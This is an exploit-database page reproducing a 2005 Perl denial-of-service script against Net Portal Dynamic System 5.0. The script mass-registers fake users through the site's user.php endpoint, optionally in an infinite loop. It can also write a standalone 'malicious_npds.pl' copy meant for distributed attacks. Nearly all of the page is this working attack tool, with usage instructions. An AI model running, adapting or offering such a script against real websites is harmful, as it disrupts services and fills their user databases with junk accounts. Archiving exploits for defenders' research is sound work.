Lucene search
K

Net Portal Dynamic System <= 5.0 (register users) Denial of Service

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 10 Views

Net Portal Dynamic System(v5.0) allows multiple user registration for denial of service attac

Code

                                                #!/usr/bin/perl
################################################################
#Type|+ Register multiple users for Denial of Service
#Vendor url|+ www.npds.org
#Little description|+ NPDS (Net Portal Dynamic System) is a French(and now English !) GNU dynamic portal
#Solution|+ None official but you can add a visual confirmation if you like php ;)
#Worked on|+ Last version(5.0, tested), probably prior
#Files|+ Exploit=npds50.pl     Bind=malicious_npds.pl     Log=log_npds_dos.txt
#Credits|+ Vulnerability find and coded by DarkFig
#Greetz|+ Acid root, [*BoD*] , Milw0rm.com (best website in the world !!) and all people who know me ;)
#Note|+  Bind option if for DDoS attack | If the website send password to the email no registration but it add an email in the database (can make Dos !) ;) | Sorry for my bad english ^^
################################################################
use IO::Socket;
if (@ARGV &#60; 7) {
print q(
+------------------------------------------------------------------------+
+                       Net Portal Dynamic System &#60;5.0                   +
+                 Register multiple users Denial of Service              +
+------------------------------------------------------------------------+
+ Usage|npds50.pl &#60;host&#62; &#60;path&#62; &#60;port&#62; &#60;pwd_send&#62; &#60;nb_reg&#62; &#60;log&#62; &#60;bind&#62;  +
+------------------------------------------------------------------------+
+ &#60;pwd_send&#62; =&#62; Website send password to the email ? [Yes=1] [No=0]      +
+ &#60;port&#62; =&#62; The port of the website (default is 80)                      +
+ &#60;nb_loop&#62; =&#62; Number of registration [Infinite=loop]                    +
+ &#60;log&#62; =&#62; Log activity in a file [Yes=1] [No=0]                         +
+ &#60;bind&#62; =&#62; Generate a malicious file for DDOS [Yes=1] [No=0]            +
+------------------------------------------------------------------------+
+                        Found and coded by DarkFig                      +
+------------------------------------------------------------------------+
); exit();}

#Initializing data
$host = $ARGV[0];
$path = $ARGV[1];
$port = $ARGV[2];
$sendpwd = $ARGV[3];
$nb_reg = $ARGV[4];
$log = $ARGV[5];
$bind = $ARGV[6];
$x = 0;
if($nb_reg eq &#34;loop&#34;) {$nb_reg = &#34;-5&#34;;}

#If bind=yes
if($bind eq &#34;1&#34;) {
print q(
+-----------------------------------+
+  Net Portal Dynamic System &#60;5.0   +
+  Register multiple users for DoS  +
+    Found and coded by DarkFig     +
+-----------------------------------+);
print &#34;\n   [+] Generate a malicious file...&#34;;
open FILE, &#34;&#62;malicious_npds.pl&#34;;
print FILE &#34;use IO::Socket;&#34;;
print FILE &#34;\n&#34;; print FILE q($log = &#34;); print FILE &#34;$log&#34;; print FILE q(&#34;;);
print FILE &#34;\n&#34;; print FILE q($host = &#34;); print FILE &#34;$host&#34;; print FILE q(&#34;;);
print FILE &#34;\n&#34;; print FILE q($port = ); print FILE &#34;$port;&#34;;
print FILE &#34;\n&#34;; print FILE q($nb_reg = ); print FILE &#34;$nb_reg;&#34;;
print FILE &#34;\n&#34;; print FILE q($path = &#34;); print FILE &#34;$path&#34;; print FILE q(&#34;;);
print FILE &#34;\n&#34;; print FILE q($x = 0;);
print FILE &#34;\n&#34;; print FILE q(if($nb_reg eq &#34;loop&#34;){$nb_reg = &#34;-5&#34;;});
print FILE &#34;\n&#34;;
print FILE q(while($x != $nb_reg) {
$email = &#34;godman&#34;.&#34;$x&#34;.&#34;%40hotmail.com&#34;;
$pseudo = &#34;0rrn&#34;.&#34;$x&#34;.&#34;&&#34;;
$password = &#34;g0_odp4sswd&#34;;
);
if($sendpwd eq &#34;0&#34;){print FILE q($full_url = &#34;$path&#34;.&#34;user.php&#34;.&#34;?op=only_newuser&uname=&#34;.&#34;$pseudo&#34;.&#34;name=&email=&#34;.&#34;$email&#34;.&#34;&user_avatar=blank.gif&user_icq=&url=&user_from=&user_occ=&user_intrest=&user_sig=&user_aim=&user_yim=&user_msnm=&user_viewemail=&pass=&#34;.&#34;$password&#34;.&#34;&user_lnl=1&C1=&C2=&C3=&C4=&C5=&C6=&C7=&C8=&M1=&M2=&T1=17%2F10%2F2005&T2=&B1=&op=finish&#34;;);}
if($sendpwd eq &#34;1&#34;){print FILE q($full_url = &#34;$path&#34;.&#34;user.php&#34;.&#34;?op=only_newuser&uname=&#34;.&#34;$pseudo&#34;.&#34;name=&email=&#34;.&#34;$email&#34;.&#34;&user_avatar=blank.gif&user_icq=&url=&user_from=&user_occ=&user_intrest=&user_sig=&user_aim=&user_yim=&user_msnm=&user_viewemail=&user_lnl=1&C1=&C2=&C3=&C4=&C5=&C6=&C7=&C8=&M1=&M2=&T1=17%2F10%2F2005&T2=&B1=&op=finish&#34;;);}
print FILE q(
my $sock = new IO::Socket::INET (PeerAddr =&#62; &#34;$host&#34;,PeerPort =&#62; &#34;$port&#34;,Proto =&#62; &#34;tcp&#34;,);
die &#34;\n[-] Can&#39;t connect to the host, maybe Dosed !\n&#34; unless $sock;
print $sock &#34;GET $full_url HTTP/1.1\n&#34;;
print $sock &#34;Host: $host\n&#34;;
close($sock);
if($log eq &#34;1&#34;) {
open FILE, &#34;&#62;log_npds_dos.txt&#34;;
print FILE q(
+-----------------------------------+
+  Net Portal Dynamic System &#60;5.0   +
+  Register multiple users for DoS  +
+       ~~Activity logged~~         +
+-----------------------------------+);
print FILE &#34;\n        Host| $host&#34;;
print FILE &#34;\n        Path| $path&#34;;
print FILE &#34;\n        Port| $port&#34;;
print FILE &#34;\n        Registration| $x&#34;;
print FILE &#34;\n+-----------------------------------+&#34;;
print FILE &#34;\n+        Logged by DarkFig          +&#34;;
print FILE &#34;\n+-----------------------------------+&#34;;
close FILE;}
$x++;
syswrite STDOUT, &#34;-$x&#34;;}); close FILE;
print &#34;\n   [+] Malicious file generate !&#34;;
print &#34;\n+-----------------------------------+\n&#34;;
exit();}

#If bind=no
if($bind eq &#34;0&#34;) {
print q(
+-----------------------------------+
+  Net Portal Dynamic System &#60;5.0   +
+  Register multiple users for DoS  +
+    Found and coded by DarkFig     +
+-----------------------------------+);
print &#34;\n[~] Connecting to the host..&#34;;
my $sock = new IO::Socket::INET (PeerAddr =&#62; &#34;$host&#34;,PeerPort =&#62; &#34;$port&#34;,Proto =&#62; &#34;tcp&#34;,);
die &#34;\n[-] Can&#39;t connect to the host: $!\n&#34; unless $sock; close($sock);
print &#34;\n[+] Connected !&#34;;
print &#34;\n[~] Sending data...&#34;;
print &#34;\n[+] Number of registration\n&#34;;
while($x != $nb_reg) {
$email = &#34;ownv&#34;.&#34;$x&#34;.&#34;%40hotmail.com&#34;;
$pseudo = &#34;0orn&#34;.&#34;$x&#34;.&#34;&&#34;;
$password = &#34;g0_odp4sswd&#34;;
if($sendpwd eq &#34;0&#34;){$full_url = &#34;$path&#34;.&#34;user.php&#34;.&#34;?op=only_newuser&uname=&#34;.&#34;$pseudo&#34;.&#34;name=&email=&#34;.&#34;$email&#34;.&#34;&user_avatar=blank.gif&user_icq=&url=&user_from=&user_occ=&user_intrest=&user_sig=&user_aim=&user_yim=&user_msnm=&user_viewemail=&pass=&#34;.&#34;$password&#34;.&#34;&user_lnl=1&C1=&C2=&C3=&C4=&C5=&C6=&C7=&C8=&M1=&M2=&T1=17%2F10%2F2005&T2=&B1=&op=finish&#34;;}
if($sendpwd eq &#34;1&#34;){$full_url = &#34;$path&#34;.&#34;user.php&#34;.&#34;?op=only_newuser&uname=&#34;.&#34;$pseudo&#34;.&#34;name=&email=&#34;.&#34;$email&#34;.&#34;&user_avatar=blank.gif&user_icq=&url=&user_from=&user_occ=&user_intrest=&user_sig=&user_aim=&user_yim=&user_msnm=&user_viewemail=&user_lnl=1&C1=&C2=&C3=&C4=&C5=&C6=&C7=&C8=&M1=&M2=&T1=17%2F10%2F2005&T2=&B1=&op=finish&#34;;}
my $sock = new IO::Socket::INET (PeerAddr =&#62; &#34;$host&#34;,PeerPort =&#62; &#34;$port&#34;,Proto =&#62; &#34;tcp&#34;,);
die &#34;\n[-] Can&#39;t connect to the host, maybe Dosed !\n&#34; unless $sock;
print $sock &#34;GET $full_url HTTP/1.1\n&#34;;
print $sock &#34;Host: $host\n&#34;;
close($sock);
if($log eq &#34;1&#34;) {
open FILE, &#34;&#62;log_npds_dos.txt&#34;;
print FILE q(
+-----------------------------------+
+  Net Portal Dynamic System &#60;5.0   +
+  Register multiple users for DoS  +
+       ~~Activity logged~~         +
+-----------------------------------+);
print FILE &#34;\n        Host| $host&#34;;
print FILE &#34;\n        Path| $path&#34;;
print FILE &#34;\n        Port| $port&#34;;
print FILE &#34;\n        Registration| $x&#34;;
print FILE &#34;\n+-----------------------------------+&#34;;
print FILE &#34;\n+        Logged by DarkFig          +&#34;;
print FILE &#34;\n+-----------------------------------+&#34;;
close FILE;}
$x++;
syswrite STDOUT, &#34;-$x&#34;;}}

# milw0rm.com [2005-10-21]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation